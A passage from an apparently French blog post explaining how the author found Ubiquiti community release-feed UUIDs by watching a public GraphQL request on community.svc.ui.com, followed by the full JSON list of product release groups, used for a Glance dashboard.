Vous devriez atteindre exactement la même page malgré que j'ai ajouté URL-Completement-Bidon dans cette dernière. Cela signifie une chose :

L'UUID est le seul maître de la réponse. Donc il me suffit de trouver une liste des UUID et on aura une liste complète.

Récupérer la liste complète​

Concrètement en se rendant dans la page officielle d'ubiquiti community : community.ui.com

Cette page contient toutes les informations de la communauté, mais surtout les dernières mises à jour de sécurité ! Je me suis dis que c'était un bon point de départ. En regardant les requêtes web effectuées, un domaine se démarque : community.svc.ui.com. De tous les domaines qui sont requêtés, il est les seul qui sort du lot.

EN regardant les réponses des requêtes faites à ce site, vous devriez tomber sur une requête comme :

operationName	"GetPublicReleaseGroups"
query	"query GetPublicReleaseGroups {\n publicReleaseGroups {\n id\n title\n __typename\n }\n}"
variables	{}

Et dans la réponse se trouve tous les UUID ainsi que toutes les description des flux.

Maintenant aucune idée de pourquoi cette liste n'est pas publique alors qu'elle est littéralement accessible au public. Mais bon, c'est ce que j'ai utilisé dans Glance donc ça m'arrange.

{
   "data":{
      "publicReleaseGroups":[
         {
            "id":"b850332f-28d8-4cf1-b8e4-a2bbf51a7a57",
            "title":"airCube",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"1c2d883c-c57e-4459-9204-89ebc6532d87",
            "title":"airFiber",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"c3d7ca26-e82d-4729-8a87-73eedf164a16",
            "title":"airMAX",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"d7bdae7d-5b0c-40d8-a561-f0bd7f6f1dcf",
            "title":"AmpliFi",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"9b21e6e1-8cb6-4306-ac4c-e8e687c39510",
            "title":"Community Update",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"6ab3d43d-9759-4866-976b-79e75db2e3b6",
            "title":"EdgePower",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"449d1a25-b4a2-454f-a5da-4e3744118c5d",
            "title":"EdgeRouter",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"d1d3a977-bc98-4099-9c0e-910ef6f3f21e",
            "title":"EdgeSwitch",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"8f59ab8a-79e7-4b29-8b96-a4933ef99996",
            "title":"EdgeSwitch X",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"3b60ad30-9cdc-41d0-8e63-534562f11df2",
            "title":"EdgeSwitch XP",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"aa8e2c7e-5a27-4853-97dd-4ab4300976d6",
            "title":"GigaBeam",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"2146fb90-6e23-4900-a076-99e94a18b8fe",
            "title":"ISP Design Center",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"bf895d7e-f72f-4f98-a5fd-9fabfea82007",
            "title":"LTU PTMP",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"522c4748-a972-4909-a5f1-57cc3cd1082e",
            "title":"LTU PTP",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"f3f45fa2-1784-4594-b48d-28baf317b208",
            "title":"Security",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"01f03784-8c19-4115-b051-2e501e2348ab",
            "title":"SFP Wizard",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"177eab01-4040-40ba-a8ca-8d97353e3cad",
            "title":"Site Manager",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"8f720e85-0935-4114-b0da-4109483e2286",
            "title":"SolarPoint / SolarSwitch",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"cf259b77-d3cf-4aae-8e12-77e4f1b23aea",
            "title":"Ubiquiti Portal Android",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"f912e31c-dc68-4772-aafc-531d1cd5dc86",
            "title":"Ubiquiti Portal iOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"a783b992-9586-43b1-8184-16b875542d19",
            "title":"UFiber",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"f56b294f-e76f-41a4-ba6f-dfdde57f9de0",
            "title":"UID Enterprise",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"eb7e43bf-9bf1-4f96-8212-5ce0caa4c234",
            "title":"UID Enterprise Agent",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"ab08eb1d-fb3c-4ce2-9e7d-1f2db9fb5a1a",
            "title":"UID Enterprise Android",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"ce5b6145-f752-4a94-b72a-5abcbee947c0",
            "title":"UID Enterprise iOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"65fd0ebc-af82-4117-92d5-62731874aaff",
            "title":"UID Enterprise macOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"ededdb04-6f6d-41ac-8b9e-01265cdf7203",
            "title":"UID Enterprise Windows",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"ff938aa4-bc58-49da-b9f6-2fc48b875ab0",
            "title":"UISP Application",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"13723af7-56c4-4eba-9f9a-d73afd38385b",
            "title":"UISP Console",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"7183512f-a826-4faf-9836-1463af4c25fd",
            "title":"UISP Power",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"f8632960-6fe5-4eea-b322-c6679f4ec103",
            "title":"UISP Router",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"8c88e358-53d8-45c6-8fea-690511b02cbe",
            "title":"UISP Switch",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"3a290705-bc5c-4138-9ed2-3400fe00976f",
            "title":"UniFi 5G Max",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"534c9c1b-35d2-4592-a7ee-b74291032be6",
            "title":"UniFi Access Android",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"685a79da-5fdd-44b0-a479-268d8ea1d619",
            "title":"UniFi Access Application",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"5b05a2b8-7b17-445f-8154-1de442c09708",
            "title":"UniFi Access Door Hub Mini",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"7bde1e06-b418-4f23-ae37-69c7a6377d90",
            "title":"UniFi Access Elevator Hub",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"bd8e3ed7-b7a8-43ae-9c7a-9d1c680788d0",
            "title":"UniFi Access G2 Reader",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"6848ae7f-a8a5-451c-9013-d4ef8a861508",
            "title":"UniFi Access G2 Reader Pro",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"d86d0e82-b383-4707-9da5-effce2b8904c",
            "title":"UniFi Access G3 Intercom",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"e33553f0-3732-46dc-9f25-fe96261566e4",
            "title":"UniFi Access G3 Reader",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"ba6b1cbc-ad9e-4efe-9b85-66c8511af3be",
            "title":"UniFi Access G3 Reader Flex",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"cb85422a-d897-48e9-93f6-4b7c8cf0d9f6",
            "title":"UniFi Access G3 Reader Pro",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"ae20f941-f616-4df1-aa4f-91dd9aa3d793",
            "title":"UniFi Access Gate Hub",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"e047d85b-e99f-4ae8-9cf9-849b6ce28f44",
            "title":"UniFi Access Hub",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"e7073d3d-5258-46f8-9529-29774831a73d",
            "title":"UniFi Access Intercom",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"51bbc7eb-f13e-4323-bbc2-6ef5d3ae291f",
            "title":"UniFi Access Intercom Viewer",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"6b4d10ad-c9c3-4705-a3a7-d1400a485550",
            "title":"UniFi Access iOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"9fc3b2fa-9e73-449a-924f-470e79884470",
            "title":"UniFi Access Point",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"e4b31bf2-f1e3-49e7-a459-5387925f9273",
            "title":"UniFi Access Reader Lite",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"419a6cfc-d99b-4568-b9c6-f2bcfd5fe280",
            "title":"UniFi Access Reader Pro",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"901f937e-8a03-488b-ae41-43e7f662c21e",
            "title":"UniFi Access Talk Phones",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"a69890e6-a492-49f5-a6c9-ff201837a60e",
            "title":"UniFi Access Ultra",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"46c20399-1088-409c-98a2-055690a880d7",
            "title":"UniFi Android",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"8c0971f3-13c6-4c2b-8f27-9f05dac846f3",
            "title":"UniFi Building Bridge",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"875850dd-f667-49e3-847d-b3811b6fefef",
            "title":"UniFi Building Bridge XG",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"f6d29416-9e19-4142-82e2-b93ae76628ff",
            "title":"UniFi Cable Internet",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"258e1c44-1b44-49c1-bf06-cd68328d3b2d",
            "title":"UniFi Connect Android",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"7bcbca2f-65d8-4a41-816e-d3d20a302553",
            "title":"UniFi Connect Application",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"8121e358-0c7d-4b2f-af5b-13a12c917f9c",
            "title":"UniFi Connect Display",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"e4749181-08a9-4681-af21-2d2958703362",
            "title":"UniFi Connect Display Cast",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"44c08b2a-235c-4f3b-b505-0c39d10dda88",
            "title":"UniFi Connect Display Cast Lite",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"06c88d56-d51b-43b3-aee0-532af7151844",
            "title":"UniFi Connect Display Cast Pro",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"43b4cc57-057f-48ec-a4f3-6481de10fc59",
            "title":"UniFi Connect EV Station Lite",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"9fa6b70a-0b5c-463b-bb18-3c73f7930f94",
            "title":"UniFi Connect EV Station Pro",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"fae05214-65f0-4313-8807-f676c9acf05b",
            "title":"UniFi Connect iOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"2e16a8a8-2cf4-43f5-9bdb-8bcfbdc2cc82",
            "title":"UniFi Data Center Leaf",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"179f8b6a-b845-49cd-8251-25a5be2689ee",
            "title":"UniFi Design Center",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"88b88716-2086-4a56-889e-2465390f68d9",
            "title":"UniFi Device Bridge",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"03472261-66e8-4de3-b54f-2c17f657ddcb",
            "title":"UniFi Device Bridge IoT",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"aa605516-bec6-46b2-96e2-974660c4542b",
            "title":"UniFi Device Bridge Pro/Sector",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"42bc529a-b39a-4494-a9d9-d91073dd3a81",
            "title":"UniFi Device Bridge Switch",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"5433dcd6-4453-4297-a0b4-e048d14a26d6",
            "title":"UniFi Drive Application",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"14db8557-2ccf-4ba1-8022-0de800e71f43",
            "title":"UniFi Endpoint Android",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"912b4ca4-ff6a-4fce-b070-2152c370e981",
            "title":"UniFi Endpoint iOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"f4fca470-c84d-47dd-b14b-39e62a4b5a81",
            "title":"UniFi Endpoint macOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"82441cdc-ed29-4bb7-b13f-e8e43d37d2b4",
            "title":"UniFi Endpoint Windows",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"2e66658f-e5fb-4b2a-a737-eef1fc3cc64e",
            "title":"UniFi Enterprise Access Hub",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"4ec4e75d-46c1-45ce-b5af-319b990c0b47",
            "title":"UniFi Enterprise Campus Aggregation",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"fc326a79-1cd8-4663-97e1-e68687e67fbd",
            "title":"UniFi Gateways",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"fa6fa13d-5d50-427f-b7c6-b1396d276cc6",
            "title":"UniFi Identity",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"9bd4d9b8-137b-4823-9d16-67203a4d59e9",
            "title":"UniFi Identity Talk Phones",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"dd9e209d-49b6-4ee8-ab59-a528e68712be",
            "title":"UniFi InnerSpace",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"da75e1c3-0d9c-43b9-af65-da4fd1a9fb12",
            "title":"UniFi iOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"caa683c4-cf47-49a0-ae38-a833678b62a4",
            "title":"UniFi LED Application",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"81052a67-9b8c-47d1-b1f1-89c0f59cbb44",
            "title":"UniFi LTE",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"f589bbd4-a68f-4612-9933-9fcb0fe499cc",
            "title":"UniFi Mobile Routers",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"e6712595-81bb-4829-8e42-9e2630fabcfe",
            "title":"UniFi Network Application",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"6cfd78f7-f672-44de-afad-a2cb347443ca",
            "title":"UniFi OS - Cloud Gateways",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"c4ccd194-4cbf-4738-b07d-0aa6f04d178e",
            "title":"UniFi OS - Cloud Keys",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"c17324f8-a72d-412c-ac6e-2c39a451d715",
            "title":"UniFi OS - Dream Machine Pro Max",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"b0f0a740-021e-4027-a778-ceba983be74b",
            "title":"UniFi OS - Dream Machines",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"5422e4d2-535a-4316-8710-8ad62790f44f",
            "title":"UniFi OS - Dream Machine SE",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"05c33268-8765-4e6b-b799-552e89fb8d5b",
            "title":"UniFi OS - Dream Routers",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"f8f622d3-cb99-41d1-bfae-2a5f85f9644d",
            "title":"UniFi OS - Dream Wall",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"2bc77d09-5556-4270-9eb3-38fcbd716720",
            "title":"UniFi OS - Enterprise Fortress Gateway",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"eb071b50-409d-41cd-92dd-1a65909f499a",
            "title":"UniFi OS - Enterprise Network Video Recorders",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"2800eda0-d2bb-41b0-a139-737b79ff23f5",
            "title":"UniFi OS - Express",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"b8539b45-2eba-4b5f-854b-93d57d326989",
            "title":"UniFi OS - Express 7",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"db1e707e-1f0a-43cd-85e6-a75849e6e744",
            "title":"UniFi OS - Network Attached Storage",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"ba34c1fa-d237-4161-872b-c3104ef77085",
            "title":"UniFi OS - Network Video Recorders",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"76650b06-fc47-4892-9c12-25c64c39f842",
            "title":"UniFi OS Server",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"b4c7fe5a-7dbc-42a8-80b5-926c531bb0e3",
            "title":"UniFi Phone Flex",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"ef800d4e-29d2-47c2-a916-b53bde811b46",
            "title":"UniFi Phone Touch",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"fbe8c8c6-5a7a-415c-8545-b9d8529e3d91",
            "title":"UniFi Play Android",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"0fda302d-0235-46d1-b4c7-53ad07a1e7d1",
            "title":"UniFi Play Audio Port",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"baae0bca-f13f-4a58-bbba-c1ea248ad472",
            "title":"UniFi Play iOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"ab6e3f11-29e7-4810-8396-da234b0001f8",
            "title":"UniFi Play PowerAmp",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"38b66560-078c-4144-ad6b-af58f0de4674",
            "title":"UniFi Protect AI Horn Speaker",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"d5757565-add5-4aba-9079-552a7a81791a",
            "title":"UniFi Protect AI Key",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"b92bb902-3ef1-4869-b81f-d3bb5c58afd0",
            "title":"UniFi Protect AI Port",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"dccea623-f38c-4d44-84a2-c97bddc0c6cf",
            "title":"UniFi Protect Android",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"aada5f38-35d4-4525-9235-b14bd320e4d0",
            "title":"UniFi Protect Application",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"7326eb18-3436-486e-b728-5d1ba29d84d4",
            "title":"UniFi Protect Chimes",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"f9756cb8-ab72-464a-a38a-2dcd04792129",
            "title":"UniFi Protect Floodlight",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"5e7853c3-7dd0-4c77-9314-88490ba34e9d",
            "title":"UniFi Protect iOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"006c4584-ee02-4c63-94c4-8f01de78073d",
            "title":"UniFi Protect Sensor",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"7d247ee9-a886-43c4-9879-455517fd2f1c",
            "title":"UniFi Protect Siren PoE",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"91e3292f-e55b-4409-bbec-e33772cd91c7",
            "title":"UniFi Protect SuperLink",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"973da980-bdac-48fc-8663-1e5c0e31e9cb",
            "title":"UniFi Protect SuperLink Entry Sensor",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"b1f219c6-6a73-40fa-82d6-7737c2a8371b",
            "title":"UniFi Protect SuperLink Environmental Sensor",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"9aff65a0-838a-4054-9b07-bb2089565314",
            "title":"UniFi Protect SuperLink Motion Sensor",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"44df6256-1d01-41dd-bbf4-f5423466b831",
            "title":"UniFi Protect tvOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"5ed28e7d-f2dd-4849-904f-f813cd609e40",
            "title":"UniFi Protect Viewport",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"e499b715-6b34-46a2-b278-9ddd6c4d8305",
            "title":"UniFi Security Gateway",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"856b8d10-8f7a-4cef-b55e-85d1d0ba9549",
            "title":"UniFi Smart Power Plug/Strip",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"f5882c6b-e77f-45c1-b019-68fd20000c31",
            "title":"UniFi Switch",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"e30ab5af-c07c-46b7-aba1-983f0f7b333d",
            "title":"UniFi Switch Flex Mini",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"fd4fa48f-752d-4499-bb74-11b3283d8310",
            "title":"UniFi Switch Ultra/Flex-2.5G",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"327c4b1e-7f69-4c63-a4b8-315ba98f7b8f",
            "title":"UniFi Talk",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"9ac08757-d169-4150-9c89-912e4aaebcdd",
            "title":"UniFi Talk Application",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"17f1f5de-27e7-4bcf-83b8-772646cd71ec",
            "title":"UniFi Talk Relay Application",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"13d88707-bf62-4c38-9524-8b88143c2a2c",
            "title":"UniFi Travel Router",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"90670833-03dd-4ff4-9114-b8e728491fa5",
            "title":"UniFi UPS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"c5aa817e-c7f1-401f-99c3-451d9054f194",
            "title":"UniFi Verify Android",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"0a77f6a0-200e-4112-9596-496f6d2ab046",
            "title":"UniFi Verify iOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"4ebdd888-9049-4bdc-b91f-14b6ffdd756e",
            "title":"UniFi Video",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"ec7c052a-c8a2-4a6b-912d-710805fa2d61",
            "title":"USW-Leaf",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"dd8df0a9-bf04-401d-9dfd-d41df511d589",
            "title":"Wave",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"86bc31f8-1bc5-4e5f-ab1d-5a04c2df4b25",
            "title":"Wave MLO",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"1b4fdbfc-f05f-44b0-8b6f-d07ebad2c7b8",
            "title":"WiFiman Android",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"ece2dc4a-1f55-43e3-8b12-c4bf409888b0",
            "title":"WiFiman Desktop",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"df144ad8-f36d-4be3-8333-21b3885d8945",
            "title":"WiFiman iOS",
            "__typename":"PublicReleaseGroup"
         },
         {
            "id":"b9f642d3-e4de-49df-b944-c34fdf341899",
            "title":"WiFiman Wizard",
            "__typename":"PublicReleaseGroup"
         }
      ]
   }
}